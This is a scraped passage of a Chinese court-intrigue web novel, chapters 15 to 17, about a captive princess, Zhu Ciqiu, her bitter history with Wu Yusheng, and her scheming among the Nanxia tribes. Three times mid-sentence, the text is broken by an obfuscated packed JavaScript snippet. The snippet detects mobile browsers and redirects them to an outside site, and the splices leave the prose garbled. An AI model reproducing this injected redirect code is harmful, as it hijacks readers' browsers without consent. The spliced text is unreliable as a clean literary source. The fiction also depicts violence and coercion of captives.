杜大夫不说话了,他只是盯着她几瞬后低下头,手上动作又开始忙碌起来,然后便开始赶人:“赶快走赶快走,他想什么日后你自己问他便是!” 她也不再纠缠,确定杜大夫真的故意放她走后,她将倒满粉末的那两页撕下来折叠好紧握在手中,又从厨房搜罗到两根小绳子绑在撕下来的书页上。最后将残缺的书放在厨房桌上,顺便还从厨房案板上顺走一把小刀。 “杜大夫,借我用用。”她扬起小刀,朝他最后说了一句,然后便头也不回地急速走入林中。 “连吃带拿啊这是,我的书!” 她能听见杜大夫最后的叹息与抱怨,嘴角不自觉扯出一丝笑容。然后便不再分神,掏出地图图解开始专心寻找生门。 小路七弯八绕,朱辞秋紧紧攥着图解几乎是用平生最快的速度在往前行,等走到第三层时,她已经浑身上下全是汗,嘴唇也越发苍白。分明已经累到极致,但仍不敢有一丝分神。 走到第三层生门通向第四层时,她看向一旁摆阵的石头,又扭头看向身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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乌玉胜的营帐比她的要大很多,陈设也跟王帐时的差不多,她坐在凳子上百无聊赖地看着门口。 一刻钟后,乌玉胜掀起帘帐入内。 他阴沉着脸,一步一步靠近他,将她的下巴狠狠捏住,力道大到她的脸颊泛起微红。 “殿下真是好骑术。”乌玉胜几乎是在牙缝中蹦出的几个字,他眼中的愤怒与戾气要将朱辞秋灼穿。 她被捏着下巴,勉强朝他笑了笑,“谬赞了,小少主。” “殿下,你就非要跟我对着干?”乌玉胜凑近,两人的呼吸在空气中交缠,粗重的喘息声充斥在她耳畔,让她皱了皱眉头偏过头。 他将她的脸再次掰过来与他对视,看着他眼中的偏执,朱辞秋觉得很好笑:“我为何不能跟你对着干?与你在乌图勒面前拜了三下,小少主不会真把我当妻子了吧?” 乌玉胜的脸越发阴沉可怖,呼吸声也越发粗重,他又一次凑近她,将鼻尖与她的鼻尖轻轻一碰,但眼中却充满戾气。 他几乎是在朱辞秋说完话后的一刹那便咬上了她的唇,与之前的那次不同,此时的他狠狠地咬了一口她的上嘴唇后,趁她呆愣的瞬间便又一次覆了上去。 面前气极了的男人的唇舌毫无章法又横冲直撞地在她唇齿间游走碰撞,朱辞秋被绑住的双手十分用力又恶狠狠地砸向面前男人的胸口,却又被他宽大大手掌所攥住,让她彻底不得动弹。 她开始猛烈挣扎,腿脚并用地踹向乌玉胜,但他仍不为所动,甚至嘴上动作越发狠戾凶猛。整个唇被堵住,发不出一点声音,嘴里的血腥气也让她喘不过气,亦觉得耻辱与不堪。 就像是被随意摆弄的物件,任人揉拧。 朱辞秋累了,她不再挣扎,只是眼神直勾勾盯着面前肆意妄为的乌玉胜。她也不知道那是一种什么眼神。 她只看见乌玉胜愣住了,然后便猛地离开她,又看看她红肿的被咬出血的嘴唇,似乎有些惊慌失措,但很快又调整过来,恢复了先前的冷漠。 “乌玉胜,你不如杀了我。” 15. 第十五话 四周气息愈发凝固,朱辞秋将心底的情绪彻底表露在脸上,通红的双眼渗出滔天的愤怒与恨意。她看向面前的男人,想将外露的情绪收回心底,但不论怎么调节,心中的不齿与恶心都无法忍受,被绑住的双手也止不住颤抖着。 乌玉胜看着她愣神半刻,忽然半跪在地上,低着头朝她伸出手。 她侧过身子拼命躲开,但他只是沉默着再次跪在她面前,伸出粗糙宽大的手,小心翼翼地替她解开绳索。 “啪”的一声,被解放的双手猛然扇向面前没有任何表情的男人脸上,力道大到将他脸颊打到一侧,而她自己的手掌也微微泛起红。 “若没有当年之事,”乌玉胜仍跪在原地,他摸了一下被打的那侧脸颊,眼神看向朱辞秋,缓缓开口,“殿下如今也该是我的妻子。” 朱辞秋只是冷冷地看着他。 “龙虎关断崖上,我曾跪在殿下面前,求殿下信我。事到如今我才明白,殿下不信任何人,任何所思所想之事,你只信自己。真是狠心至极。” 她勾唇冷笑一声,“穆老将军一家被乌玉阙斩首折辱,长邑十三州所有百姓皆沦为俘虏。他们被南夏人虐待凌辱至极,十三州白骨成山,山门关外的荒原横尸万具。你我之间隔着家国血仇,你居然还在同我谈信与不信,狠不狠心。” “乌玉胜,你今年二十三了,别再这般幼稚。” 最后,她看向愣在原地的乌玉胜,弯腰伸手摸向方才被她打过的脸颊,拇指在脸颊上划了两下后恢复了原先的坐姿,用中原话轻声道:“你见过吗?训练场上的头颅、十三州被虐待后随意扔在大街上的人、荒原上不知姓名的横尸。” 乌玉胜皱眉,紧绷着嘴角发不出一丝声音。良久,他猛然站起身朝外走去。 他背对着朱辞秋,站在门口,沙哑低沉的声音在安静的帐内回响,那是一句中原话:“殿下,我见过的。” “我见过的,殿下。”他重复了一遍,回过头看向她,脸上常见的冷漠与阴郁消失不见,眼中竟然露出一丝痛苦与悲伤,但很快转瞬即逝,“我比任何人,都知道他们的下场。” 他不再看她,往外走去时最后说了句:“殿下今夜就待在此处吧,哪儿都不许去。” 见乌玉胜走出去后,朱辞秋脱力般靠在凳子上,用手擦了几下嘴角,抬起头看向门口。 确定乌玉胜不会回来后,她扭头看向里头的床榻,但她并未上床,而是在矮桌上趴着,将头深深地埋在交叠的胳膊间。 她闭着眼,眼里的热意缓缓下落,却不会粘在她脸上,而是直接掉在地上。 就像是从未哭过。 许是因乌玉胜的那些话,她想起三年前的龙虎关。 建昌七年初夏,那是个格外燥热的夏天,不过初夏,空气中便弥漫着令人烦躁黏腻的味道,风打在人身上格外闷。 朱辞秋当时十七岁,正吃着西瓜看着书,便见侍女匆匆忙忙地从外头跑来,说出的话让她的书掉在桌案上。 她不确定,“你再说一遍?” “殿下,千真万确!穆将军乃是南夏领主乌图勒之子,穆老将军战死时,老将军身旁的副将发现他与南夏有勾结,也正是他泄漏了军机,让咱们痛失三州!” 朱辞秋不信,她猛地站起身朝外跑去,动作间将桌案上的西瓜都碰落一地。 “备马!” 侍女拦在她面前,急道:“殿下!您这是做甚!” 她一把推开侍女,吼道:“去给我备马!”又朝另一边的侍女大声道:“你马上找人去给陛下发奏疏,说我外出游玩一段时日。” 她们不敢忤逆她,只能乖乖照做。 朱辞秋跑死了四匹马,手掌与双腿都磨出血泡,昼夜不停地只用十一日就到了龙虎关。 穆东风向她说明了前因后果,并说明乌玉胜不日便会被斩首示众。当时听完后,她只说了两句话。 第一句:“你信他吗?” 第二句:“他在哪?” 当时的乌玉胜被关在牢中,她亮出公主令牌,逼着穆东风带她去了牢狱。 乌玉胜被打得浑身是血,洁白的里衣被染成鲜红色,破烂不堪地露出身上狰狞的伤口。头发与血渍黏在一起,把俊秀的脸遮挡住,那双眼睛也失去光彩。 但他还是一眼就看见了朱辞秋,他猛地站起身,手铐脚镣在动作间叮铃咣啷地响着,惊讶的声音在空旷的牢狱中回响:“殿下,您怎么来了?” 他扭头看向她所来的方向,哑口愣住几瞬,不敢开口却又直勾勾的盯着她,就像犯错的狗一般让人生气,又觉得他现下十分可怜。 朱辞秋站在外头,双手止不住地颤抖。她咬着嘴唇阻止自己落下泪,也阻止自己不去心疼他,她颤抖着开口:“你是谁?” “臣是穆雨生。” 她抬起头,又摇头,“告诉我,你是谁!” 乌玉胜双手抓着牢门,鲜血从柱子上滴在地上,他眼神坚定,执意道:“臣只是穆雨生。” “殿下信我。” 朱辞秋一直在摇头。她后退一步,再问了一次:“你究竟是谁?” 乌玉胜看着她沉默一瞬,他叹了一口气,最终缓缓开口,语气像是在恳求她的原谅:“臣真名为乌玉胜,但我与南夏已毫无瓜葛,也并非细作,我与他们更无可能勾连陷害穆老将军。殿下,穆老将军,是知道我的真实身份的,但中间故事太多太过复杂,不能立马向殿下说清楚缘由,从前,我也不敢告诉殿下。怕殿下知道后,不信我、厌恶我,甚至恶心我。” “臣现在只要殿下信我,我便能在此活下去查出凶手。” 她注视着他,摇头苦笑,眼中的冰霜愈发浓烈:“你曾有无数机会,可以告诉我。” 不想再听乌玉胜的辩解,她抬手打断了他,又缓缓从袖中掏出牢房钥匙,打开了牢门,将手铐脚镣的钥匙扔给他。 “殿下哪来的钥匙?”乌玉胜接过钥匙,站在原地,一动不动。 她冷声道:“出来,跟我走。” 乌玉胜愣怔一瞬,眼底闪过一丝不明情绪,他沉默地解开手铐脚镣,迈着沉重的步子走向她,浓重的血腥气扑面而来,让她皱着眉头不愿,也不敢再看他。 配合着他的步子,她将乌玉胜带到穆东风所说的密道,穿过密道后,外头停着一匹马。 “殿下,是要带臣去何处?” 她仍旧不说话,翻身上马时,乌玉胜看见了她手上的伤,顿时抓着她,惊讶质问:“殿下,您的手怎么回事?!为何如此拼命?”他抬起头,眼中含着悲伤与苦涩,“是因为,臣的事情吗?” “上来。” “臣不能走,殿下。” 朱辞秋望向后面的密道,朝他道:“别废话,上马。” 她将乌玉胜带到龙虎关的断崖后,身后立马围上一群将士,将二人困住。她挡在乌玉胜身前,一步一步往后退。 但乌玉胜却将她拉开,朝那些人道:“此事与殿下无关。” 为首的穆东风冷眼瞧着,乌玉胜将朱辞秋猛地往前一推,她转过头看向他。 却见他只是淡淡一笑,轻轻摇了摇头。 “殿下,臣并非叛徒,往日乃至方才,我所说的句句属实,只唯有真实身份欺瞒了殿下。” “我若是奸细叛徒,穆老将军绝不会活到此时才战死,诸位也不可能拿到南夏机密。” 有人却大声怒喝:“那日我亲眼见你与南夏贼首密会,你敢说你不是叛徒!若非你通风报信,我军机密岂会泄露!” “当年你斩落南夏将军首级,我还道你是个好汉!如今再看,一切皆是伪装!” “还说你怎么如此精通南夏布防,若非是南夏人,怎会对南夏情况了如指掌!” “… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13438442|141496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 那些话语不绝于耳,似乎要将朱辞秋埋在当中喘不过气。她眼神直直地盯着乌玉胜,忽然从一旁的将士手中夺过佩剑指向他。 “乌玉胜。”她声音狠戾,不似往常,“你所说的话,究竟哪句是真,哪句是假。” 她掏出怀中的手镯,恶狠狠地扔在地上,“什么父母遗物,不过是伪装的手段。” 乌玉胜似乎愣住了,他看着被摔碎的手镯,眼神震惊又难过,“殿下——” 但后半句要说的话,却卡在嗓子眼,发不出声音。 她步步紧逼,乌玉胜却毫不后退。 直到她一剑刺入他心口,鲜血顺着剑尖滴在地上。他握住剑身,不可置信地看向她,只喃喃地重复着“殿下”。 剑身被抽出,鲜血溅了满地,乌玉胜伤势实在太重,他控制不住般半跪在她面前,眼角似乎有泪珠,但血渍太多,朱辞秋并不确定。 最后他望向她,声音沙哑又颤抖:“为何不信我?” 她冷冷地看着乌玉胜,弯下腰伸出手,触碰到他后在他耳边轻声道:“本宫最恨骗子。” 最后乌玉胜被她推入断崖之下,死不见尸。后来她没有回燕京,仍然是在龙虎关与穆东风一同抵抗南夏之军。 一年后,龙虎关失守,乌玉胜重回战场,性情大变。 如今她再想起这件事,心中波澜仍不能平息。 因为她当时,真的很喜欢乌玉胜。 可当年心中的痛苦与绝望,就像在心上开了一道狰狞的血口,只要一触碰,便牵扯全身,密密麻麻的痛苦让她喘不过气。只要再看再想一眼,都会让自己万箭穿心。 太痛了。 朱辞秋睁开眼,揉着酸痛的胳膊站起身走向门口,却被门外的守卫阻挡,让她退回帐内。 她又被关住了。 一直到春狩开始的第一日前,她都被关在此处。 但朱辞秋绝不会坐以待毙。 这几日她一直在想,如今南夏表面上最支持乌玉胜上位的便是母赫族,他们压准乌玉胜能夺得王位,但又怕乌玉阙身后的巫族势力,以及阴晴不定的乌图勒。 春狩是男女相看的日子,母赫族绝对会有动作,而她要找乌玉阙,便是想告诉他这件事,让他带着人先特别留意母赫族的动作,只要他们稍有动作,她便能猜出大概。 如今虽然浪费了诓骗乌玉阙为她所用的几日,但春狩开始后,她也仍有机会。 另外,巫族的新任首领是娜木寒同父异母哥哥的儿子,他并非受继承,而是靠智谋与武力上位的,才二十四岁。 这位年轻的巫族首领,既然有夺位之才,必不可能愿意将全部身家押在乌玉阙身上。更何况,他向来瞧不起娜木寒一众,也与他们不和。 巫族如今怕也如母赫一般暗中观望,表面不动声色仍旧支持着乌玉阙。 而朱辞秋自己呢,虽说她会助乌玉阙与乌玉胜相抗,但她绝不可能让乌玉阙坐上王位。 正埋头想着时,外头响起巨大的号角声与吼叫,朱辞秋站起身走向门口。 果不其然,很快便有守卫掀开帘帐走了进来,冷着脸一左一右地将她架了出去。 驻扎之地正对面的巨大地盘,是他们的春狩开宴之地,桌椅摆在那里,密密麻麻的人坐在席位上,中间是被围成一圈的空地。 听闻春狩开始之日,南夏族人要将未来狩的猎物先示于上天,以求春狩顺利。 他们会将猎物绑在空地上,参加春狩的每一人都需射死一只,以告上天。 而此时的空地上,除了猎物,还有大雍俘虏。朱辞秋被带到俘虏的最前头,正对面是乌图勒与娜木寒。 她被两边的守卫扭转身体,面向俘虏。 守卫在一旁大声喊出话,声音在空地上震耳欲聋:“这是你们大雍的怀宁公主,还不快拜见你们的公主?” 16. 第十六话 朱辞秋看着这些俘虏,他们没有被绳子捆住,一个紧挨一个站在这里,每个人都衣衫褴褛、骨瘦如柴、浑身是血。干涸的血渍与积久的污渍交缠在一起,让他们看起来肮脏又可怜。 他们也看向她,没有任何表情,就连绝望与害怕都没有,就像是苍白灰败地站在这里的活死人。 就连听见守卫的话都毫无反应。 围在他们身侧的守卫们似乎很不满意他们的表现,有人随意地拉出一名俘虏,将他拽到朱辞秋面前。 他踹了一脚那名俘虏的后膝,用未出鞘的狼刀狠狠砍在他背上,让他猛然跪倒在她面前。 朱辞秋双手被解开,身旁的守卫拔出狼刀塞在她手中。她低头看着跪在地上看不清脸的俘虏,又转过头看向乌图勒,举了举手中的狼刀,嘴角勉强扯出一丝笑意,“不知领主这是何意?” 乌图勒站起身,笑着告诉她:“还请殿下替我教训一下这些不认真做工的俘虏奴隶,用这些奴隶的血祭祀天地,以求天神降下福泽,让我南夏今年丰收富饶。” 她抬起手中狼刀指向那些被关在笼中的猎物,同样笑着问:“往年不是以春狩猎物祭祀天地吗?怎么今年不同?” “正是因为这些不认真做工的奴隶们,天神降下怒火,导致去岁南夏收成不好,多灾多难。是以,今年便以这些奴隶的血来平息天神之怒。” 朱辞秋嘴角僵在原地,眼神盯着王座上的乌图勒,手中的狼刀在微微颤抖。 “殿下,还不动手?” 乌图勒眯起眼睛皱着眉,眼中凶光直射在她身上。身旁的守卫在得到示意后,猛拉住她的手腕,将她手中迟迟不动的狼刀挥舞在俘虏面前又停下,而跪在地上的俘虏被另一侧的守卫拽着后脑勺仰起头,露出有些稚嫩却满是伤口血渍的脸。他睁着眼睛,紧紧盯着她。 “怀宁殿下,”俘虏的声音粗哑难听,他用中原话十分艰难地开口,“杀了我吧。” 朱辞秋垂眼不敢看他,手中的狼刀抖得越发厉害。四周的人群忽然躁动起来,他们开始吼叫,呼喊着她的名字,让她快点动手。 有人甚至站起来,扬起手中的酒碗,大笑着,恶毒的话从长满獠牙的嘴中蹦出,刺入她耳中:“怀宁殿下既嫁给了我们小少主,那便是我们南夏的人了,怎么?殿下是不敢杀,还是想放过这群恶心的奴隶?” 有人架起弓弩,瞄准她:“不如殿下受我一箭,若没死,我便替殿下去求领主放过他们!” “哈哈哈哈哈哈哈哈哈哈哈哈哈!若殿下愿意一人侍多夫,我也能替他们求情!” 环顾四周,所有人都用充满狠毒又恶心的眼神盯着她。她微不可察地轻轻呼出一口气,将手中的狼刀高高举起,却迟迟不肯落下。 他们因为国家战败而成为俘虏,被欺压折磨得早已不成人样,可他们不是兵将,只是十三州的普通百姓,本不该经此一遭,过此一生。 她下不去手,甚至连嘴角都在颤抖,心中的悲怆与恨意席卷全身,让她浑身颤栗拿不起手中的刀。 跪在地上的奴隶仰着头闭着眼,就像是期待赴死一般。 对于他们来说,在暗无天日看不到头的日子中,死亡也是一条活路。 朱辞秋再次看向这些与她流着来自同一地方的血的人们,看着他们的苍白脸色,无神的眼睛,好像将跳动的心融化成铁水浇铸成铁块,周身血液凝固在一起变得冰冷。 她狠下心,握刀的手逐渐用力,她下定决心,再次举起狼刀时,空中疾速穿过一支云箭打掉了她手中的刀。 巨大的冲击让她猛地后退几步,手心被突然掉落的狼刀震得发痛,忍不住用另一只手捂住手心缓解疼痛。 她抬起头,看向走来的乌玉胜。 是她在看见俘虏后没仔细观察周围,竟然没发现他不在。 可她还没来得及反应,跪在地上的俘虏便立马被赶来的乌玉胜一刀封喉,鲜血登时飞溅在四处。 他倒在了地上,倒在她脚边。 朱辞秋低头,又抬起头看向对面的他们。 所有人,没有惊讶亦没有害怕,仍旧是蜷缩在原地,看着他倒下,似乎早已对他乃至他们自己的结局有所预料。 乌图勒坐回位置,靠在椅背上看向乌玉胜,并未说话。 突如其来的变化让在座的所有人都歇了声音,场上气氛越发压抑。 乌玉胜走上前,做行礼状,恭敬道:“吉时已至,为求丰收和平,祭祀天地耽误不得,是以属下擅自行动,还请领主责罚。” 乌图勒笑了一声,语气不明:“你为求丰收和平,我还罚你做甚?退下吧。” 他又看向转过身来的朱辞秋,用下巴点了点最右侧,笑道:“请殿下也入座。” 话音刚落,朱辞秋便被两旁守卫架住双臂,往乌图勒示意的方向拽去。 而余下的俘虏也被赶了回去,只剩下十名站在场上。 朱辞秋被带到一处简陋的暂居之地,只有露天篷布与简陋桌椅。她坐在角落中,本想抬头,但身旁全是其他部落的奴隶,他们离她有些距离,但并不规矩地坐着,而是将她团团围住,让她的视线透不过这些人,篷布遮挡住大部分外界之物,她也看不见远处的中心地带。 面前这些奴隶黝黑又粗糙,眼里闪着恶狠的光死死地盯着她。 犹如鲜美的肥肉落入狼群,让所有人都恨不得尝上一口,看看滋味如何。 她冷眼瞧着这些人,小心又悄悄地将手摸到身后的腰封处,想取出被她藏在里面的,从杜大夫厨房顺走的小刀。 这里是奴隶暂留地,这些奴隶,也是得了授意的。 只要不弄死她,一切都可以。 他们缓缓靠近,为首的最魁梧的男人抬手喊停,他一人独自猛地扑上来,朱辞秋本能般敏捷躲开,但包围着她的那群人开始发出不明所以的喊声,男人又再一次扑向她。 朱辞秋暗自握住小刀,抽出刀身,另一手摸向胸口,装作弱不禁风的样子往身后退去。 男人舔了舔牙尖,缓缓上前。她又故意待在原地笑着看向他,在他马上扑向她抓住她时,忽然扬起手中小刀刺向他的胸口,然后狠狠往里一攥又猛地抽出。 男人立马捂住鲜血直流的胸部倒在地上,身旁的所有人登时混乱上前扑向她。 而这时的她已经从怀中掏出杜大夫的销魂散紧紧攥在手中,她迅速捂住口鼻,飞速在空中猛地撒了一把销魂散。 那些人被呛得直打喷嚏,却仍想要抓住她,可最终 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于是她踹开木凳与桌椅,等她搬走角落里的凳子时,忽然看见了掉落在地上的火折子。 她扭头看了眼中心地带,不想再细想,只捡起白得的火折子,吹燃后点在火把上,走至最外侧时,她将火把扔在了里头。 火光渐渐吞噬昏迷的奴隶与桌椅板凳,她转过身,在愈发猛烈的火势燃烧之时,跑向驻扎之地。 她认识乌玉阙的亲兵,如今只希望驻扎之地里,有他的亲兵。 但似乎火势并未继续蔓延,她来不及深究,只猜测是谁发现火势阻止了,是以她便更加迅速地前往目的地,可当她快要跑到目的地,略作停留观察四周是否有守卫时,忽然被人捂住口鼻从身后拽住,猛地一拖。 “是我!” 乌玉阙将她拽进驻扎之地,拖进他的寝帐内。 他将她猛地松开,拔出佩刀指向他,恶狠狠道:“你没事烧什么火!要不是我发现及时,那火势能直接烧遍草原!” 朱辞秋挑眉:“你没在宴上?” 乌玉阙横眉冷对:“巫族的首领迟迟不来,我自然要去查探一下。”他忽然反应过来是自己在问话,于是又将指着她佩刀抖了下,怒喝:“问你呢!烧什么火!” “他们要杀我,我只不过是为自保。”朱辞秋用手指别开乌玉阙的佩刀,“如此,你说我,该不该烧?” 乌玉阙沉默一瞬,“啧”了一声,不情愿地收回佩刀。 “正好,我也要找你。”朱辞秋反客为主般坐在椅子上,给自己倒了杯白水,结果倒出来发现是羊奶酒,她只好放在原地,示意乌玉阙喝。 乌玉阙挑了挑眉,似乎觉得她突然很上道,勾唇笑了两声,“找我做甚?” “春狩多注意母赫族,我估计他们会想将他们其中一位女儿嫁给你,但我不知——” 她话未说完,对面的乌玉阙便将刚喝下一口的羊奶酒吐了出来,喷得到处都是。她皱着眉头,眼中的厌恶有些藏不住。 但乌玉阙太过震惊,并未发现她的厌恶,而是不可置信地大声开口:“谁?我?!” 17. 第十七话 “这只是我的猜测。”朱辞秋敛住心绪,看向乌玉阙,“未探清情况前,大少主不用太过在意。” 乌玉阙坐在对面,手握成拳砸在桌子上,怒气冲冲道:“以后这种没根据的事,不要跟我说!” “也并非没有根据,”她心平气和道,“如今你们领主日渐衰老,乌玉胜势头正盛,母赫族自然更愿意支持他。” 乌玉阙闻言,眉头越皱越紧,十分不耐烦又怨毒地看着她。 她视若无睹,继续道:“但你身后有巫族,那是南夏第一强盛的部落族,乌图勒如今并未表现出让贤之心,是以,我猜他们想两头博。” “少主若想进一步,便需让母赫族看到你有夺位能力,能打压控制住乌玉胜。” 乌玉阙仍旧紧皱眉头,似乎不太相信,于是他道:“若是如此,那你为何说,他们会想将女儿嫁给我?而且,如今他们明面上是站在乌玉胜身后的,怎会主动将女儿嫁给我?这岂非让乌玉胜生疑?” “一个女儿,对他们来说并不重要。”朱辞秋淡淡道,“他们有很多种方法在暗中操纵,比如将她与你下药后,母赫族跑到领主面前哭诉,让你自己主动求娶。” “母赫族那嫁给你的女儿,不过是他们安插在你身边的细作,为的只是探听你的情况而已。若觉得你能成为最终胜利者,自然会立马倒戈向你,若发现你不堪大用,区区一个女人,自然也能轻易舍弃。” 乌玉阙冷哼一声,周身戾气越发严重,咬牙切齿地说出一句:“他们还真是挺会打算的。” 他又用手指指她,用命令般的语气朝她说道:“那你说,我该如何做?” 朱辞秋微微挑眉,语气平平:“少主想多一位妻子吗?” 乌玉阙再一次将手砸在桌上,瞪着她,“谁愿意放个细作在身边啊?你愿意?” 她听见这话后有些微微愣神,但很快便反应过来,一边看向门口一边出声:“如此,就希望少主自己多多留意母赫族的动向了,我要知道他们想将谁作为棋子。”她回过头,又看向乌玉阙,粲然一笑,“这样我便能助少主在毫无损失的情况下,让母赫为少主所用。” 乌玉阙看着她愣住片刻,随后便一脸不耐烦地说道:“知道了,我会打听的。” 她皱了皱眉头,并不信任他。她站起身靠近门口,轻声说道:“篝火会。” “什么?”乌玉阙也站起身,面露疑惑。 朱辞秋转过头,对上乌玉阙浅色的双眸,淡然道,“今夜篝火会,还请少主将我安插在母赫族女眷身侧。” “你要做什么?”乌玉阙皱眉。 “自然是替少主打探消息,顺便替少主筹谋一下,如何让他们主动上钩。” 乌玉阙面露些许怀疑,“你一个大雍来的,还是个嫁给乌玉胜的和亲公主,他们能信你?” 朱辞秋一笑:“我与乌玉胜向来不和,你都信我为除他而助你,为何他们信不得?” 乌玉阙一时语塞,张半天嘴说不出一个字。 “所以,”她顿了顿,“还请少主挑两名可靠之人,做看守我的守卫,以防乌玉胜阻挠。” “知道了,我会安排。” “那烧火之事,也请少主替我瞒了吧。”朱辞秋顺势往下继续说,“随便找个奴隶替罪,我就不必被领主责罚了,这也更方便我为少主做事。” 话音未落,乌玉阙面上神色变了又变,最后一脸觉得她十分狡诈,却又不得已为之的表情,他挑着眉,嘲讽道:“殿下真是好算计。” 她微微一笑,赞同地点了点头,“谬赞了少主。” 乌玉阙冷哼一声,不再理她。他掀开帘帐走了出去,不一会儿便有两名高大强壮的守卫入内,一左一右地站在她面前。 两人不发一语,但皆面露鄙夷地看着她。 她也不恼,只是坐在原处有一搭没一搭地用食指敲着桌子。 直到外界再次响起号角声,两名守卫听见后,便迅速转身打开帘帐,将她带往篝火会所在之地。 所谓的篝火会,跟往日普通的篝火宴席是一样的,只不过春狩的篝火会更盛大,人也更多。 南夏男尊女卑,女人的地位比大雍的女人还不如。这里的男人可以同时有好几位妻子,而当丈夫死亡后,活着的妻子便要嫁给丈夫的同宗兄弟,为家族继续传宗接代。 也正因此,南夏除了乌图勒的妻子娜木寒外,所有到春狩的女眷们,全都围在最盛大的篝火外侧,在男人们身后的空地上,用篝火隔开距离,单独一桌。 母赫族的女人相对其他部落的女人来说,在部落中的地位要高上一些,因为她们中有的人甚至能徒手打死一名男人,是上阵杀敌最多的女战士部落。 朱辞秋被守卫带到母赫族的席位边上,刚一到,所有人的目光便聚集在她身上。 有不满、有厌恶、有冷漠,还有一些无所谓与好奇,而她只是朝她们淡淡一笑,便坐在自己位置上。 南夏的女人皆鼻梁高挺,眉眼深邃,锐利又有攻击力,草原上的风沙与多变的气候让她们的皮肤并不如大雍人那般细腻柔软,但却格外有生命力。 朱辞秋与她们都不同,白皙柔软的皮肤,清瘦纤细的身体,让她们不由得多看了几眼,却也很快移开视线。 她所处的席位对面,坐在为首的是乌纳兰,她正在与一位身着华贵的女子交谈。想必那便是乌玉阙的妻子,娜木寒的侄女,娜依莎。 娜依莎这个人她了解不多,只知道是南夏罕见的病弱之人,不常出现在人前。 乌纳兰瞧见她,与她对上视线后一愣,随即瞪了她一眼转头继续跟娜依莎说话去了,但娜依莎却顺着乌纳兰的视线看见了她,脸上没有厌恶与冷漠,甚至还朝她微笑。 朱辞秋微微点头,回以一个略带善意的微笑。 皮笑肉不笑的笑脸,她在大雍见多了。 身旁的母赫族倒是没怎么管她,只是自顾自地聊着天,唯有坐在角落中的一名少女,目光停留在她身上几下。 她感受到视线,回望一眼那名少女。 侍女们端着羊奶酒与羊腿片,一一摆放在桌上,中间的篝火处支着四架烤肉架,上头各串着一只乳猪,被一旁侍女不停翻滚熏烧的乳猪飘出香味。朱辞秋看了看桌上的羊腿片,看起来色香味俱全,于是便用筷子挑起一片肉。 但放入嘴里的那一刻,她立马侧头吐了出来。还是很膻,南夏人是没有味觉的吗。 一旁的母赫族人瞧见这一幕,有人不自觉嗤笑出声,嘲讽的声音响在场上:“中原来的尊贵公主,是个连食物都不知道节约的贵族,怪不得你们国家会战败。” 她转过头,朝说话的人笑了笑,又将桌上的羊腿朝她一推,自然道:“中原喜清淡,我也不爱食肉,不如这位姐姐替我吃了,也算是不浪费食物。” 女人听后立马怒道:“你这女人!竟然让我吃你吃剩下的东西!” 朱辞秋一脸无辜:“怎会?是姐姐怕我浪费食物,我这才想给姐姐吃这盘羊腿片。” 女人看见她的表情,一时忍不住站起身,用手指着她,“谁是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13438444|141496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你姐?!区区奴隶也好意思在这里上座叫嚣,我今日就要——” 她也忽然站起身,身后不远处的守卫立马上前在她两侧,女人见状未说出口的话咽了下去,恶狠狠地瞪着她,然后指着她朝守卫道:“你们王族的奴隶不好好看守,让她来这里做甚?!这是她能来的地方?” 守卫仍旧是鄙夷的眼神,并不回答。 反倒是朱辞秋笑了两声,道:“我再是奴隶,也是与小少主在领主面前拜过三拜的妻子。况且,今日这宴,是大少主引我前来的。” 女人冷笑一声,明显不信。 她指了指守卫腰间的令牌,笑着说出:“这可是大少主亲兵令牌。” 此话一出,场上立马鸦雀无声,纷纷看向娜依莎。 “你!”女人仔细看过令牌后,恶狠狠开口,“勾引大少主,恬不知耻!” “我只不过是,受大少主喜爱罢了。” “好你个公主,我还没见过这般作为的公主!你将小少主置于何地!” “乌玉胜?他自然也很喜欢我啊。” “你——” 恰在此时,为首的乌纳兰忽然打断女人的话茬,喊道:“吵什么!”她又瞪向朱辞秋,恶劣地开口,“这里是南夏,你爱吃吃,不吃就滚回去!” 朱辞秋挑眉一笑,不再说话。 争执间,角落的少女一直盯着她。她装作不经意地扫过方才叫嚣的女人,看向角落里的少女。 她其实骗了乌玉阙,她其实猜得出母赫族想牺牲的女儿是谁。 在大雍守镇时,她为南夏的情报曾使尽浑身解数,几乎所有部落的不同的战士都曾被她命人留活口抓住过。 一年前曾在设伏粮草之路时,她命人抓住过母赫族的几名女将士,她没有给她们施以酷刑,而是把她们关在她的房内,用手铐脚镣捆住,在里面关了十天。 这十天,她喂给她们无数能让人做噩梦的梦心丹,让她们不停地做梦,最终她们不自觉地主动说出自己的恐惧与最害怕之事,防线在噩梦中被彻底击溃。 她许给她们两条路,一条是被她打残后扔回南夏受众人凌辱怀疑,另一条是告诉她母赫族的信息,她让她们隐姓埋名地生活在大雍,不受南夏所困。 因此,她知道母赫首领有一位不知姓名的私生女,而这位私生女,就养在女将士的训练之地,只有她们知道她的存在。 女眷们的篝火会没有男人们的热闹,只是在吃吃喝喝,聊着天。 直到身后传来号角,她们里面站起身,朝中心走去。 而这时,方才角落的少女不知不觉间站在了她身旁,与她齐头并行。 谁都没有说话,只是沉默地走着。 